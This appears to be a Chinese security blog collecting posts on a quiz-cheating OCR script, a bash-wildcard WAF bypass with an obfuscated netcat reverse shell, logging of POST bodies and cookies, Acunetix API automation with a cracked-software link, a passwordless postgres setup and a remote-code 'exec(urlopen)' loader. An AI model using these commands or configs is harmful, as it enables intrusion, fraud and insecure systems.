关于半自动刷某交警答题赢积分

发布时间:July 27, 2018 // 分类:开发笔记,工作日志,代码学习,linux,python,生活琐事 // 1 Comment

最近在为了被扣分的事情一直烦恼。朋友推荐XX交警答题赢积分可以处理交通违章扣分。

关于XX交警答题赢积分

XX交警答题赢积分可以处理交通违章扣分。

规则:

  1. 系统随机生成试题,在规定时间内答题正确率在90%以上可以获得1分。

  2. 每个驾驶证每天最多可获得1分,最高可获得6分。

  3. 答题所获积分可用于自主处理交通违法时冲抵所绑定的轻微交通违法记分。

  4. 冲抵交通违法记分后,答题积分小于6分时,可以继续答题获得积分。

  5. 如系统监控到采用非法手段获取答题积分的,将被列为不诚信人员黑名单库,禁止使用答题积分功能,非法获得的积分将予以清除。

发现确实是一个好东西。但是我这种科目一过了就再也没有看过书的懒人来说.好多都答不上来。今天和一被扣分的同事说起,同事提示说是不是可以做一个类似题库的东西来匹配对应的东西。就类似于抓取题目来匹配自身有的答题库。想了一下,应该是可以的。

简单的思路就是:首先我们可以通过截屏,通过剪切特定区域的图片,然后通过ocr来识别里面的文字。再根据文字去搜索,在某些在线提供的题库应该可以匹配到具体的内容。

首先截屏,因为我是安卓手机,所以就非常方便了。

adb shell screencap -p /sdcard/screenshot.png
adb pull /sdcard/screenshot.png .

就可以把图片拉回到本地了。前提是手机需要开启开发者选项的USB调试功能。不同的手机开启方式不一样,具体自己去百度。

拿到图片以后对图片进行剪切。获取特定区域内的地址。主要是为了去除手机顶上的那些标志。在ocr识别的时候排出干扰项。

# 切割题目+选项区域,左上角坐标和右下角坐标,自行测试分辨率
    combine_region = "10, 250, 1050, 1400".replace(' ','').split(',')
    combine_region = list(map(int, combine_region))
    region_im = image.crop((combine_region[0], combine_region[1], combine_region[2], combine_region[3]))

    img_byte_arr = io.BytesIO()
    region_im.save(img_byte_arr, format='PNG')

    image_data = img_byte_arr.getvalue()

这里使用的是百度OCR API ,在 https://cloud.baidu.com/product/ocr 上注册新建应用即可
python需要安装baidu-aip
然后调用 百度OCR API去识别里面的文字

    response = client.basicGeneral(image_data)
    words_result = response['words_result']

    texts = [x['words'] for x in words_result]

因为选项里面必定有A:开始,所以一旦发现了A:就必定是选项开始。识别的ocr里面没有图片,避免了干扰

    if len(choices)>2:

        # 处理出现问题为两行或三行
        if str(choices[1]).find("A:") !=-1:
            print "quest"
            question += choices[0]
            choices.pop(0)
        elif "A:" in str(choices[2]):
            question += choices[0]
            question += choices[1]
            choices.pop(0)
            choices.pop(0)

    answer = ""
    for x in choices:
        answer += x +"\n"

    print("获取的问题:")
    print(question)
    print("提供的选项:")
    print(answer)

然后把问题和答案组合起来,丢到百度里面去搜索,然后取第一个url来匹配,因为搜索里面,越靠前的可信度比较高。考虑到搜索里面的tiba.jsyks.com匹配度比较高,暂时全部丢里头查询了。

'''
获取的答案信息不全部是A/B/C/D,也有对错的部分
'''
def get_answer_tiba(url):
    info = ""
    try:
        resp = requests.get(url,headers=headers, verify=False)
        soup = BeautifulSoup(resp.content, "lxml")
        html=soup.find_all('div', id="question")
        if html:
            pattern = re.compile(r'</span>(.*?)<br/>(.*?)<br/>(.*?)<br/>(.*?)<br/><br/>(.*?)<u>(.*?)</u></h1>', re.IGNORECASE | re.DOTALL | re.MULTILINE)
            content = pattern.findall(str(html[0]))
            for x in content[0]:
                info+=x+"\n"
            print(Fore.MAGENTA +"对照下面的答案选择真正正确的选项"+Fore.RESET)
            print info.replace(":\n",": ").strip("\n")

    except Exception as e:
        if "list index out of range" in str(e):
            try:
                pattern = re.compile(r'</strong>(.*?)<br/>(.*?)<br/>(.*?)<br/>(.*?)<br/><br/>(.*?)<u>(.*?)</u></h1>', re.IGNORECASE | re.DOTALL | re.MULTILINE)
                content = pattern.findall(str(html[0]))
                for x in content[0]:
                    info+=x+"\n"
                print(Fore.MAGENTA +"对照下面的答案选择真正正确的选项"+Fore.RESET)
                print info.replace(":\n",": ").strip("\n")
            except Exception as e:
                pattern = re.compile(r'<br/>(.*?)<u>(.*?)</u>', re.IGNORECASE | re.DOTALL | re.MULTILINE)
                content = pattern.findall(str(html[0]))
                for x in content[0]:
                    info+=x+"\n"
                print(Fore.MAGENTA +"对照下面的答案选择真正正确的选项"+Fore.RESET)
                print info.replace(":\n",": ").strip("\n")

def get_baidu(keyword):
    url = "http://www.baidu.com/s?ie=utf-8&f=8&wd=site%3Atiba.jsyks.com%20"+keyword
    url2 = ""
    equid = re.compile(r'bds\.comm\.eqid = \"(.*?)\"', re.IGNORECASE | re.DOTALL | re.MULTILINE)
    geturl = re.compile(r'

<

div class=\"f13\"><a target=\"_blank\" href=\"(.*?)\" class=\"c-showurl\" style=\"text-decoration:none;', re.IGNORECASE | re.DOTALL | re.MULTILINE)
    try:
        resp = requests.get(url,headers=headers, verify=False)
        beqid = equid.findall(resp.content)
        #print beqid[0]
        burl = geturl.findall(resp.content)
        if  len(burl)>0:
            url2 = burl[0]+"&wd=&eqid="+str(beqid[0])
            realurl = re.compile(r"URL='(.*?)'", re.IGNORECASE | re.DOTALL | re.MULTILINE)
            try:
                resp1 = requests.get(url2,headers=headers, verify=False)
                realurl = realurl.findall(resp1.content)
                if len(realurl)>0:
                    print(realurl[0])
                    get_answer_tiba(realurl[0])
                    #return realurl[0]
            except Exception as e:
                print str(e)
                pass
        else:
            print(Fore.RED + "好像没有找到答案,估计要认命了^_^\n那么就随便选择一个呗。无法了" + Fore.RESET)
    except Exception as e:
        print str(e)
        pass

效果如下


单图片识别的效果

PS:为啥不搞成自动点击得.因为有些题目得图片不一样,问题和答案都是一样得。会造成很高得误报。

警告⚠️:
本文仅仅做技术研究。请参考第五条
如系统监控到采用非法手段获取答题积分的,将被列为不诚信人员黑名单库,禁止使用答题积分功能,非法获得的积分将予以清除。

思路跟前段时间的答题赢奖金差不多

Bash通配符在命令执行中的应用

发布时间:February 25, 2018 // 分类:运维工作,linux // No Comments

主要是在和基友讨论一个绕过的时候遇到了.后来翻东西的时候发现已经有国外的大神对此已经发布过类似的东西了.既然如此,记录下呗,权当搬运工

首先关于bash通配符

其中的?是匹配一个任意字符.也就是说如果我们平时执行的是cat /etc/passwd可以用?来替代

首先来试试常见的ls

root@bee-box:~# which ls
/bin/ls
root@bee-box:~# echo /???/?s
/bin/ls /bin/ps /sys/fs
root@bee-box:~#

可以用/???/?s来取代.类似的cat也是可以用/???/??t或者/???/c?t等来查找到.如果在绕waf的过程里面应该是可以直接拿出来用的.

root@bee-box:~# echo /???/c?t
/bin/cat
root@bee-box:~# echo /???/??t
/bin/cat /dev/net /etc/apt /etc/opt /etc/rmt /var/opt

试试常见的cat /etc/passwd
我们用/???/??t /???/??ss??来替换

效果直接执行差别不是很大

然而实际上我们测试那个waf的时候发现超过了4个?就不行了

直接上nc的时候就可以换成了

/???/?c -e /???/b??h 2130706433 7088

另外附上一些tips
1.bash不仅仅可以允许连接路径.命令也是可以的。比如在linux里面'可以用来分割字符.
2.\是一个转义的作用而已.不过依旧可以用来替换'

$ /bin/cat /etc/passwd
$ /bin/cat /e'tc'/pa'ss'wd
$ /bin/c'at' /e'tc'/pa'ss'wd
$ /b'i'n/c'a't /e't'c/p'a's's'w'd'
$ c\a\t /et\c/passwd

nginx 接受post数据

发布时间:December 6, 2017 // 分类:运维工作,开发笔记,工作日志,linux // No Comments

开始使用的是apache.发现如果需要记录post数据还的使用其他的模块或者去hookapache来实现.后来发现nginx可以记录post数据

log_format  main  '$remote_addr - $remote_user [$time_local] "$request" '
             '$status $body_bytes_sent "$http_referer" '
             '"$http_user_agent" $http_x_forwarded_for';
  1. $request_body变量由nginx自身提供,用于记录POST请求日志

最后实现了可以获取post数据的内容

log_format  access  '$remote_addr  $remote_user  [$time_local]  $request '
             '$status  $body_bytes_sent  $http_referer   '
             '$http_user_agent $http_x_forwarded_for [$request_body]';

另外一个可以记录cookie和主机的

log_format  access  '$remote_addr  [$time_local]  $host $request $status $http_referer $http_user_agent $http_cookie [$request_body]';  

考虑下body_bytes_sent是不是可以不用
日志的地方

access_log  /data/logs/access.log access;

重启下nginx后测试

curl -d cmd=`id|base64` http://0cx.cc/\?cmd\=$(whoami) --refer $(id|base64) --user-agent $(id|base64)

抓取到的日志是

参考文档
Nginx 使用 lua-nginx-module 来获取post请求中的request和response信息
http://www.jianshu.com/p/78853c58a225
解决nginx在记录post数据时 中文字符转成16进制的问题
http://www.jianshu.com/p/8f8c2b5ca2d1

整合了一个wvs11的扫描

发布时间:July 14, 2017 // 分类:开发笔记,linux,python,windows // 12 Comments

最近忙里偷闲的整合了一个wvs11的扫描脚本。主要是借助了nmap和wvs11_api来实现。大概就是酱紫

主要是三台机器.
一台centos做子域名爆破+端口扫描+数据收集.
另外两台windows做wvs接收任务并启动扫描

关于wvs11的api之前有做过介绍
http://0cx.cc/about_awvs11_api.jspx
具体的利用方式以及导出为xml格式的报告。最后对xml进行处理的脚本都在
https://github.com/0xa-saline/acunetix-api

域名爆破修改自lijiejie的subDomainsBrute。加入第三方的收集,以及在端口扫描之前对ip进行处理.就是同c段的取最大和最小的来强制加入中间段的扫描.
https://github.com/0xa-saline/subDomainsBrute

端口扫描主要依赖是nmap。这里调用的是python-nmap
http://0cx.cc/solve_bug_withe-python-nmap.jspx
http://0cx.cc/some_skill_for_quen.jspx

主要是来判断端口以及对应的服务.如果出现来http/https的服务以后直接放入wvs里面扫描

部分插件调用的是bugscan的扫描脚本
http://0cx.cc/which_cms_online.jspx

其实主要的服务扫描则是非常漂亮的fenghuangscan.字典的加载方式则是参考了bugscan的加载。可以依赖于域名来切割加入字典

大概有这么一些服务类

多数是弱口令检测以及弱服务类型.

主要是把任务推送到wvs。看到wifi万能钥匙src放出来一些测试域名。测试来几个..

调用Acunetix11 API接口实现扫描

发布时间:May 19, 2017 // 分类:开发笔记,运维工作,工作日志,linux,windows // 12 Comments

实际上关于api的文档很少很少.从网络中找了好会才发现俩

1.获取API-KEY
首先来获取一个API-KEY
通过右上角Administrator--Profile

2.建立一个扫描目标

在演示一个扫描之前您将需要会在您想要扫描的网站上建立一个扫描目标。您将需要利用(POST)目标终端去实现它。使用cURL:

curl -k --request POST --url https://127.0.0.1:3443/api/v1/targets --header "X-Auth: apikey" --header "content-type: application/json" --data "{\"address\":\"http://testphp.vulnweb.com/\",\"description\":\"testphp.vulnweb.com\",\"criticality\":\"10\"}"

其中:

- https://127.0.0.1:3443 - 是Acunetix11端口URL(就是你安装了Acunetix11 的电脑)
- API-KEY - 这是Acunetix11的API-KEY,如果你安装了就可以在页面右上角的Administration中生成KEY了。
- http://testphp.vulnweb.com - 是您想要添加的一个扫描目标网址.务必带上http|https
- testphp.vulnweb.com - 是描述扫描目标的词句(非必填)
- 10 - 是目标的临界值 (Critical [30], High [20], Normal [10], Low [0])

命令成功之后会201,以及其它一些数据,其中包括target_id(返回结果中locations最后的一截字符串)


C:\Users\Administrator\Desktop
> curl -k --request POST --url https://127.0.0.1:3443/api/v1/targets --header "X-Auth: API_KEY" --header "content-type: application/json" --data "{\"address\":\"http://testphp.vulnw b.com/\",\"description\":\"testphp.vulnweb.com\",\"criticality\":\"10\"}"
{
 "target_id": "07674c74-728e-4e99-aa9c-b5ac238975b9",
 "criticality": 10,
 "address": "http://testphp.vulnweb.com/",
 "description": "testphp.vulnweb.com"
}

3.在一个创建好的目标上运行一个扫描

curl -k -i --request POST --url https://127.0.0.1:3443/api/v1/scans --header "X-Auth: API_KEY" --header "content-type: application/json" --data "{\"target_id\":\"07674c74-728e-4e99-aa9c-b5ac238975b9\",\"profile_id\":\"11111111-1111-1111-1111-111111111111\",\"schedule\":{\"disable\":false,\"start_date\":null,\"time_sensitive\":false}}"

其中:

- https://127.0.0.1:3443 - 是Acunetix11端口URL
- API-KEY - 是您在第1步中生成的的API key
- TARGET-ID - 是您从之前的JSON回复中得到的target_id值
- 11111111-1111-1111-1111-111111111111 - 是扫描profile ID。通过使用(GET)scanning_profiles 端点获得的列表,列表包括了扫描profile和他们的ID。

关于获取target_id

> curl -k https://127.0.0.1:3443/api/v1/scanning_profiles --header "X-Auth: API_KEY"
{
 "scanning_profiles": [
  {
   "custom": false,
   "checks": [],
   "name": "Full Scan",
   "sort_order": 1,
   "profile_id": "11111111-1111-1111-1111-111111111111"
  },
  {
   "custom": false,
   "checks": [],
   "name": "High Risk Vulnerabilities",
   "sort_order": 2,
   "profile_id": "11111111-1111-1111-1111-111111111112"
  },
  {
   "custom": false,
   "checks": [],
   "name": "Cross-site Scripting Vulnerabilities",
   "sort_order": 3,
   "profile_id": "11111111-1111-1111-1111-111111111116"
  },
  {
   "custom": false,
   "checks": [],
   "name": "SQL Injection Vulnerabilities",
   "sort_order": 4,
   "profile_id": "11111111-1111-1111-1111-111111111113"
  },
  {
   "custom": false,
   "checks": [],
   "name": "Weak Passwords",
   "sort_order": 5,
   "profile_id": "11111111-1111-1111-1111-111111111115"
  },
  {
   "custom": false,
   "checks": [],
   "name": "Crawl Only",
   "sort_order": 6,
   "profile_id": "11111111-1111-1111-1111-111111111117"
  }
 ]
}

启动一个扫描任务

> curl -k -i --request POST --url https://127.0.0.1:3443/api/v1/scans --header "X-Auth: API_KEY" --header "content-type: application/json" --data "{\"target_id\":\"07674c74-728e-4e99-aa9c-b5ac238975b9\",\"profile_id\":\"11111111-1111-1111-1111-111111111111\",\"schedule\":{\"disable\":false,\"start_date\":null,\"time_sensitive\":false}}"
HTTP/1.1 201 Created
Pragma: no-cache
Content-type: application/json; charset=utf8
Cache-Control: no-cache, must-revalidate
Expires: -1
Location: /api/v1/scans/a6e36dd0-9976-46a7-9740-29f897f911d6
Date: Fri, 19 May 2017 03:40:12 GMT
Transfer-Encoding: chunked

{
 "target_id": "07674c74-728e-4e99-aa9c-b5ac238975b9",
 "ui_session_id": null,
 "schedule": {
  "disable": false,
  "start_date": null,
  "time_sensitive": false
 },
 "profile_id": "11111111-1111-1111-1111-111111111111"
}

4.查看任务扫描的状态

先获取扫描任务的scan_id

curl -k --url https://127.0.0.1:3443/api/v1/scans --header "X-Auth:API_KEY" --header "content-type: application/json"

查看具体scan_id 的扫描细节

 curl -k --url https://127.0.0.1:3443/api/v1/scans/56d847bc-344b-4513-a960-69e7d1988a46 --header "X-Auth:API-KEY" --header "content-type: application/json"

5.停止任务

apiurl+/scans/+scan_id+/abort

 curl -k --url https://127.0.0.1:3443/api/v1/scans/56d847bc-344b-4513-a960-69e7d1988a46/abort --header "X-Auth:API-KEY" --header "content-type: application/json"

6.生成模板

获取模板

curl -k --url https://127.0.0.1:3443/api/v1/report_templates --header "X-Auth:API-KEY" --header "content-type: application/json"

生成报告

curl -k -i --request POST --url https://127.0.0.1:3443/api/v1/reports --header "X-Auth: API-KEY" --header "content-type: application/json" --data "{\"template_id\":\"11111111-1111-1111-1111-111111111111\",\"source\":{\"list_type\":\"scans\", \"id_list\":[\"SCAN-ID\"]}}

其中:
- https://127.0.0.1:3443 - 是Acunetix11端口URL
- API-KEY - 是您在第1步中生成的的API key
- SCAN-ID - 是您从之前的JSON回复中获得的scan_id。

会有一个201 HTTP回复显示了请求是成功的 ,并且会包含一个带有id的Location header(例如 Location: /api/v1/reports/54f402f6-7a60-4934-952f-45bfe6c4abf4 )。一旦报告被URL: https://127.0.0.1:3443/reports/download/54f402f6-7a60-4934-952f-45bfe6c4abf4.pdf 访问,这个id可以被用来下载报告。最新版本还会提供HTML版本的报告,并且可以从https://127.0.0.1:3443/reports/download/54f402f6-7a60-4934-952f-45bfe6c4abf4.html 访问。

参考

1.https://github.com/jenkinsci/acunetix-plugin/blob/master/src/main/java/com/acunetix/Engine.java
2.http://blog.csdn.net/qq_31497435/article/details/64441474

有小伙伴问哪里有这个下载

来自吾爱大神Hmily作品,不多说。
原帖:http://www.52pojie.cn/thread-609275-1-1.html
网盘:http://pan.baidu.com/s/1c1JoyBm 密码:hyue
【由于之前被举报无法分享,这次原文件和补丁都加了压缩密码:www.52pojie.cn】

如何开启远程访问
安装的时候选择允许远程访问

#!/usr/bin/python
# -*- coding: utf-8 -*-

import json
import requests
import requests.packages.urllib3
'''
import requests.packages.urllib3.util.ssl_
requests.packages.urllib3.util.ssl_.DEFAULT_CIPHERS = 'ALL'

or 

pip install requests[security]
'''
requests.packages.urllib3.disable_warnings()

tarurl = "https://127.0.0.1:3443/"
apikey="yourapikey"
headers = {"X-Auth":apikey,"content-type": "application/json"}

def addtask(url=''):
    #添加任务
    data = {"address":url,"description":url,"criticality":"10"}
    try:
        response = requests.post(tarurl+"/api/v1/targets",data=json.dumps(data),headers=headers,timeout=30,verify=False)
        result = json.loads(response.content)
        return result['target_id']
    except Exception as e:
        print(str(e))
        return

def startscan(url):
    # 先获取全部的任务.避免重复
    # 添加任务获取target_id
    # 开始扫描
    targets = getscan()
    if url in targets:
        return "repeat"
    else:
        target_id = addtask(url)
        data = {"target_id":target_id,"profile_id":"11111111-1111-1111-1111-111111111111","schedule": {"disable": False,"start_date":None,"time_sensitive": False}}
        try:
            response = requests.post(tarurl+"/api/v1/scans",data=json.dumps(data),headers=headers,timeout=30,verify=False)
            result = json.loads(response.content)
            return result['target_id']
        except Exception as e:
            print(str(e))
            return

def getstatus(scan_id):
    # 获取scan_id的扫描状况
    try:
        response = requests.get(tarurl+"/api/v1/scans/"+str(scan_id),headers=headers,timeout=30,verify=False)
        result = json.loads(response.content)
        status = result['current_session']['status']
        #如果是completed 表示结束.可以生成报告
        if status == "completed":
            return getreports(scan_id)
        else:
            return result['current_session']['status']
    except Exception as e:
        print(str(e))
        return

def getreports(scan_id):
    # 获取scan_id的扫描报告
    data = {"template_id":"11111111-1111-1111-1111-111111111111","source":{"list_type":"scans","id_list":[scan_id]}}
    try:
        response = requests.post(tarurl+"/api/v1/reports",data=json.dumps(data),headers=headers,timeout=30,verify=False)
        result = response.headers
        report = result['Location'].replace('/api/v1/reports/','/reports/download/')
        return tarurl.rstrip('/')+report
    except Exception as e:
        print(str(e))
        return

def getscan():
    #获取全部的扫描状态
    targets = []
    try:
        response = requests.get(tarurl+"/api/v1/scans",headers=headers,timeout=30,verify=False)
        results = json.loads(response.content)
        for result in results['scans']:
            targets.append(result['target']['address'])
            print result['scan_id'],result['target']['address'],getstatus(result['scan_id'])#,result['target_id']
        return list(set(targets))
    except Exception as e:
        raise e

if __name__ == '__main__':
    print startscan('http://testhtml5.vulnweb.com/')

实际测试效果

ps。在屌大牛的帮助下。抓到了pg数据库的连接信息.然后连蒙带猜的弄到了连接密码【ps:其实配置文件里面写好了本地连接压根不需要密码23333.好尴尬】

有小伙伴问我如何获取详细数据.仔细思考了一圈,发现有一个办法.就是开启postgresql允许远程连接
1.找到postgresql.conf位置

C:\Program Files (x86)\Acunetix 11
> find \ -name "postgresql.conf"
\/ProgramData/Acunetix 11/db/postgresql.conf

在C:\ProgramData\Acunetix 11\db下.

打开后修改第一行地址localhost为*

#listen_addresses = 'localhost'
listen_addresses = '*'

再到同目录下找到pg_hba.conf。在# IPv4 local connections: 行下,添加一行内容为:

# IPv4 local connections:
host    all             all             127.0.0.1/32            trust
host    all             wvs             192.168.0.0/24          trust

此处解释:192.168.0.0/24。意思为允许192.168.0段内的ip可以无密码连接。添加完成后,保存。

重启Acunetix Database服务.

基于docker的sentry搭建过程

发布时间:April 13, 2017 // 分类:运维工作,开发笔记,linux,windows,python,生活琐事 // 2 Comments

最近拜读董伟明大牛的《python web实战开发》发现他推荐了一个神器sentry.恰好不久前还在和小伙伴讨论如何记录try--except的异常信息。发现刚好可以用上.

** 简介 **

Sentry’s real-time error tracking gives you insight into production deployments and information to reproduce and fix crashes.---官网介绍
Sentry是一个实时事件日志记录和汇集的日志平台,其专注于错误监控,以及提取一切事后处理所需的信息。他基于Django开发,目的在于帮助开发人员从散落在多个不同服务器上的日志文件里提取发掘异常,方便debug。Sentry由python编写,源码开放,性能卓越,易于扩展,目前著名的用户有Disqus, Path, mozilla, Pinterest等。它分为客户端和服务端,客户端就嵌入在你的应用程序中间,程序出现异常就向服务端发送消息,服务端将消息记录到数据库中并提供一个web节目方便查看。

** 安装 **
通过官方文档https://docs.sentry.io/ 可以得知,安装服务有两种方式,一种是使用Python,这种方式个人感觉比较麻烦。于是选择了第二种方式:使用docker[官方更加推荐]

这种方法需要先安装** docker **和 ** docker-compose **

0x01 安装docker
0x02 安装docker-compose
0x03 获取sentry
0x04 搭建sentry

我本地安装过了docker和docker-compose.直接从第三步开始

git clone https://github.com/getsentry/onpremise.git

获取到本地之后,就可以根据他的README.md开始着手搭建了,整个过程还是比较顺利的。

** step 1.构建容器并创建数据库和sentry安装目录 **

mkdir  -p data/{sentry,postgres}

** step 2.生成secret key并添加到docker-compose文件里 **

sudo docker-compose run --rm web config generate-secret-key

这个过程时间有点长。其间会提示创建superuser,用户名是一个邮箱,这个邮箱今后会收到sentry相关的消息,口令可以随便设置,只要自己记得住就可以了。

最后会在命令行输出一串乱七八糟的字符(形如:** z#4zkbxk1@8r*t=9z^@+q1=66zbida&dliunh1@p–u#zv63^g ** )
这个就是 secretkey,将这串字符复制到docker-compose.yml文件中并保存.取消SENTRY_SECRET_KEY的注释,并把刚刚复制的字符串插入其中,类似如下

** step 3.重建数据库,并创建sentry超级管理员用户 **

sudo docker-compose run --rm web upgrade

创建用户,sentry新建的时候需要一个超级管理员用户

** step 4.启动所有的服务 **

sudo docker-compose up -d


至此sentry搭建完成!

实际效果

from raven import Client
client = Client('http://f4e4bfb6d653491281340963951dde74:10d7b52849684a32850b8d9fde0168dd@127.0.0.1:9000/2')
    def find_result(self, sql,arg=''):
        try:
            with self.connection.cursor() as cursor:
                if len(arg)>0:
                    cursor.execute(sql,arg)
                else:
                    cursor.execute(sql)
                result = cursor.fetchone()
                self.connection.commit()
                return result

        except Exception, e:
            client.captureException()
            print sql,str(e)

print sql,str(e)

输出错误

client.captureException()

记录的错误日志

关于bugscan的屁事

发布时间:March 14, 2017 // 分类:开发笔记,linux,python,windows // No Comments

** 关于bugscan的使用 **
从14年接触python,15年开始写bugscan插件到现在bugscan的改版.早起的爬虫,后来逆向客户端.主要的是为了它那个开源的插件,还有一个原因就是它的插件太方便了.它的生成有模板可用的.

早期写的教程 https://my.oschina.net/rookier/blog/393074

** 逆向的辛酸苦辣 **
最早我还会c++的时候写过一次爬虫
https://my.oschina.net/rookier/blog/395712
后来一直学习python又重新写了一次
http://0cx.cc/python_spider_bugscan.jspx
再后来发现部分插件是没法用的.于是又果断的逆向了客户端
http://0cx.cc/uncompyle_loads.jspx

** 关于插件的调用 **
这个最早的时候是批量调用
http://0cx.cc/bug_scan_vul.jspx
后来是逆向出插件一段时候后识别后调用
http://0cx.cc/which_cms_online.jspx
期间各种扫描分析
http://0cx.cc/bugscan_run_exec.jspx

** 继续插件调用的爱恨情愁 **

python -c "exec(__import__('urllib2').urlopen('http://t.cn/xxxxx').read())" -m 5

这个url会经过短地址还原,带上自己的ID向服务器发起rpcs认证请求。详情参照http://0cx.cc/uncompyle_loads.jspx

if Debug_X(debugkey_str, 'main'):
        print 'tid=', thread.start_new_thread(Mysql_insert_QueueInfo, ())

    if '_S' not in globals():
        _S = 'https'
    if '_U' not in globals():
        _U = 'your ID just like 0000000000000'
    if '_B' not in globals():
        _B = 'old.bugscan.net'

    Urls = '%s://%s/rpcs' % (_S, _B)
    Login_Get = Loginx(_U, Urls)
    VER_INT = 1.95
    UPdate_yes_no = False
    Plugin_Code = {}

追查下Loginx

class Loginx(object):
    def __init__(self, uhash, serviceURL, serviceName=None):
        self.__serviceURL = serviceURL
        self.__serviceName = serviceName
        self.__uhash = uhash

    def __call__(self, *args):

        PC_uuid = str(uuid.uuid1())
        Login_Info_json = json.dumps({'method': self.__serviceName,
                          'params': args,
                          'uid': self.__uhash,
                          'uuid': PC_uuid})

        Mysql_table_insert('rpclog', method=self.__serviceName, params=repr(args), uid=self.__uhash, uuid=PC_uuid)

        Login_Info_json = md5.md5(Login_Info_json).hexdigest() + '|' + zlib.compress(Login_Info_json, 9)

        ServerURL = self.__serviceURL
        INT_15 = 15
        for For_int in range(INT_15):
            try:
                HTTP_getRead = None

                for For_int in range(3):

                    ServerInfo = urlparse.urlparse(ServerURL)

                    if ServerInfo.scheme == 'https':
                        Http_Obj = HttpLib(ServerInfo.hostname, ServerInfo.port, timeout=60)
                    else:
                        Http_Obj = httplib.HTTPConnection(ServerInfo.hostname, ServerInfo.port, timeout=60)

                    Http_Obj.putrequest('POST', ServerInfo.path)
                    Http_Obj.putheader('Content-Length', str(len(Login_Info_json)))
                    Http_Obj.putheader('Content-Type', 'application/json')
                    Http_Obj.endheaders()

                    Http_Obj.send(Login_Info_json)

                    HTTP_getResponse = Http_Obj.getresponse()

                    HTTP_getHeaders = dict(HTTP_getResponse.getheaders())

                    if HTTP_getHeaders.has_key('location') and HTTP_getHeaders['location'] != ServerURL:

                        Http_Obj.close()
                        ServerURL = HTTP_getHeaders['location']

                    else:

                        HTTP_getRead = HTTP_getResponse.read()
                        Http_Obj.close()
                        break

                if not HTTP_getRead:
                    raise IOError('Content empty')
                    # print HTTP_getRead

                Find_return = HTTP_getRead.find('|')
                #-------------------
                Code_md5, code_json = HTTP_getRead[:Find_return], zlib.decompress(HTTP_getRead[Find_return + 1:])

                if Code_md5 != md5.md5(code_json).hexdigest():

                    raise IOError('json decode error')

                HTTP_getResponse = json.loads(code_json)

                if PC_uuid != HTTP_getResponse['uuid']:

                    raise IOError('UUID unmatched')

            except Exception as o0oo0o0O00OO:

                if For_int == INT_15 - 1:
                    Logging_Obj.exception(Get_lineNumber_fileName())
                    raise o0oo0o0O00OO
                else:
                    time.sleep(5)
            else:
                if HTTP_getResponse['error'] != None:
                    raise RpcError(HTTP_getResponse['error'])
                else:
                    return HTTP_getResponse['result']

就是带上自己的专属id,然后直接以json格式访问rpcs地址.整个过程需要正确认证才有HTTP_getResponse['result']的返回..如果认证成功以后,会从rpcs地址获取任务

Task_List = Login_Get.get_task_list(SID_INT, Scan_thread_idel)#获取任务列表

Task_List里面包含了相关的信息

{
    u'tasks': [{u'policy': u'base64.encode(plugins)', u'id': taskid, u'target': u'testphp.acunetix.com'}], 
    u'nodever': u'0', 
    u'stops': []
}

Task_List['tasks']里面包含了相关的信息

{
    u'policy': u'base64.encode(plugins)', 任务参数
    u'id': taskid, 任务id
    u'target': u'testphp.acunetix.com'任务目标
}

Tasks_n 里面包含了相关的信息

Tasks_n = {
    u'subdomain': True, 
    u'scanport': True, 
    u'maxtask': 7000, 
    u'useragent': u'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; .NET CLR 2.0.50727)', 
    u'anyone': True, 
    u'user_dict': u'', 
    u'timeout': 24, 
    u'plugins': {}, 
    u'entry': u'http://0day5.com/', 
    u'nodes': [xxxx], 任务节点id
    u'pass_dict':
    u'', u'speed': 6
}

Tasks_n包含了填写的基本信息

Plugins_list = json.loads(base64.decodestring(Tasks_n['policy']))

获取到基本的信息以后久进入到了ProcessWork中.需要关注的就是target和Plugins_list是Tasks_n里面的到的基本信息

def ProcessWork(glock, gdebug, debugkey, uhash, rpc_server, tid, target, Plugins_list):
    global Debug_yes_no
    global sys_debug_yes_no
    global Login_Get
    global debug_key
    global Multiprocessing_RLock
    Multiprocessing_RLock = glock
    sys_debug_yes_no = gdebug
    debug_key = debugkey
    Debug_yes_no = True
    Loginx_Obj = Loginx(uhash, rpc_server)
    Oo000ooOOO = None
    if Debug_X(debugkey):
        thread.start_new_thread(Mysql_insert_QueueInfo, ())
    try:
        signal.signal(signal.SIGTERM, signal.SIG_DFL)
        signal.signal(signal.SIGINT, signal.SIG_DFL)
        Loginx_Obj.set_task_status(tid, Range_3)
        Exploit_run_Obj = Exploit_run(tid, target, Plugins_list)
        if 'entry' in Plugins_list:
            if Plugins_list['entry'].startswith('http'):#  String.startswith('xxx')判断开头是否是xxx
                Exploit_run_Obj.task_push('www', str(Plugins_list['entry']))
            else:
                Exploit_run_Obj.task_push('www', 'http://%s%s' % (target, Plugins_list['entry']))
        if not Target_isOK(target):
            Exploit_run_Obj.task_push('dns', target) # task_push(self, service, arg, uuid=None, target=None, pr=-1):
        Exploit_run_Obj.task_push('www', 'http://%s/' % target)
        Exploit_run_Obj.run()
    except (KeyboardInterrupt, SystemExit):
        pass
    except Exception as o0oo0o0O00OO:
        Logging_Obj.exception('ProcessWorker:<%d %s>' % (tid, target))
    finally:
        Loginx_Obj.set_task_status(tid, Range_5)
        if Mysql_Obj:
            Mysql_table_insert('loglog', body='exit')
    addTargetModule(target)

在Exploit_run里面的函数中能看到判断插件是否加密的部分

for plugin_x in policy['plugins']:
    Plugin = policy['plugins'][plugin_x]
    OO0OoOO0o0o = 0
    if imp.get_magic() == Plugin[:4]:
        #判定为加密的文件
        oo = marshal.loads(Plugin[8:])
        OO0OoOO0o0o = struct.unpack('<l', Plugin[4:8])[0]
    else:
        oo = Plugin
    """"""
    def _load_module(self, chunk, name='<memory>'):
        II = imp.new_module(str(name))
        exec chunk in II.__dict__
        return II
    """"""
    #imp加载文件
    II = self._load_module(oo)
    o00oo0 = None
    if OO0OoOO0o0o > 1440345600:
        #获取解密的key
        o00oo0 = Plugin[-48:-16]
        I11ii1IIiIi = Plugin[-16:]
        if I11ii1IIiIi != md5.new(Plugin[:-16]).digest()[::-1]:
            #表示不匹配
            pass
    #涉及到对II的参数补充,针对加密的插件用获取的key进行解密,
    self._patch_module(II, o00oo0)
    然后获取节点的dns,各种其他的信息.进入到task_pusk函数中.
    主要是推送的服务和地址
    def task_push(self, service, arg, uuid=None, target=None, pr=-1):
        for OO0O0 in self._modules:
            获取插件id和插件文件内容
            i1OOO0000oO = self._modules[OO0O0].assign(service, arg)
    #接下去就是判断i1OOO0000oO也就是插件运行的结果是不是一个数据
    if not isinstance(i1OOO0000oO, tuple):
        continue

